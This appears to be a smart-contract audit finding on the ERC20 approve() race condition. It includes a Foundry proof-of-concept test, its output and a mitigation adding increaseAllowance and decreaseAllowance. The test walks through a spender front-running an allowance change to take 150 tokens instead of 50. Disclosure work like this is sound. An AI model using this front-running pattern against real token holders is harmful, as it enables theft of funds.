Description
The ERC20 standard implements an approval mechanism where token owners can authorize spenders to transfer tokens on their behalf using approve() and transferFrom(). The expected behavior is that when an owner updates an approval amount, the spender should only be able to spend the newly approved amount.
However, the approve() function unconditionally overwrites the previous allowance value without considering tokens already spent. This creates a race condition vulnerability where a malicious spender monitoring the mempool can front-run an approval update transaction to spend both the old and new allowance amounts, extracting more tokens than the owner intended.
function approve(address spender, uint256 value) public virtual returns (bool success) {
address owner = msg.sender;
success = _approve(owner, spender, value);
}
function _approve(address owner, address spender, uint256 value) internal virtual returns (bool success) {
assembly ("memory-safe") {
let allowanceSlot := keccak256(ptr, 0x40)
sstore(allowanceSlot, value)
success := 1
mstore(0x00, value)
log3(0x00, 0x20, 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925, owner, spender)
}
}
Risk
Likelihood:
-
This will occur whenever token owners actively change an existing approval amount (reducing or modifying it).
-
This will occur whenever the spender is actively monitoring the mempool and capable of front-running transactions.
Impact:
-
Malicious spenders can extract significantly more tokens than the owner intended to authorize (e.g., 150 tokens instead of 50).
-
Complete loss of funds up to the sum of both allowance amounts (old + new) from the victim's balance.
Proof of Concept
Add the following test to Token.t.sol:
* @notice Approval Race Condition (approve() and transferFrom())
*
* 💥 Attack Scenario:
* 1. Alice approves Bob to spend 100 tokens.
* 2. Alice wants to lower Bob's allowance to 50, so she submits a transaction.
* 3. Bob, monitoring the mempool, front-runs the transaction and quickly spends
* the 100 before the new approval takes effect.
* 4. Once Alice's update is processed, Bob still has access to the new 50 tokens.
*/
function test_approvalRaceCondition() public {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address bobsWallet = makeAddr("bobsWallet");
token.mint(alice, 200e18);
vm.prank(alice);
token.approve(bob, 100e18);
vm.prank(bob);
token.transferFrom(alice, bobsWallet, 100e18);
vm.prank(alice);
token.approve(bob, 50e18);
vm.prank(bob);
token.transferFrom(alice, bobsWallet, 50e18);
assertEq(token.balanceOf(bobsWallet), 150e18);
assertEq(token.balanceOf(alice), 50e18);
}
Run the test:
forge test --mt test_approvalRaceCondition -vv
Output demonstrates the exploit:
=== Attack Scenario ===
1. Alice approves Bob to spend 100 tokens
Bob's allowance: 100
2. Alice wants to lower Bob's allowance to 50, so she submits a transaction
3. Bob, monitoring the mempool, front-runs the transaction and quickly
spends the 100 before the new approval takes effect
Bob's wallet balance: 100
4. Once Alice's update is processed, Bob still has access to the new 50 tokens
Bob's wallet balance: 150
=== Result ===
Bob exploited 150 tokens total (100 + 50)
Alice intended Bob to only have 50 tokens
Recommended Mitigation
Implement increaseAllowance() and decreaseAllowance() functions that modify allowances relatively instead of absolutely, preventing the race condition:
+ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
+ address owner = msg.sender;
+ uint256 currentAllowance = _allowance(owner, spender);
+ return _approve(owner, spender, currentAllowance + addedValue);
+ }
+
+ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
+ address owner = msg.sender;
+ uint256 currentAllowance = _allowance(owner, spender);
+ require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
+ return _approve(owner, spender, currentAllowance - subtractedValue);
+ }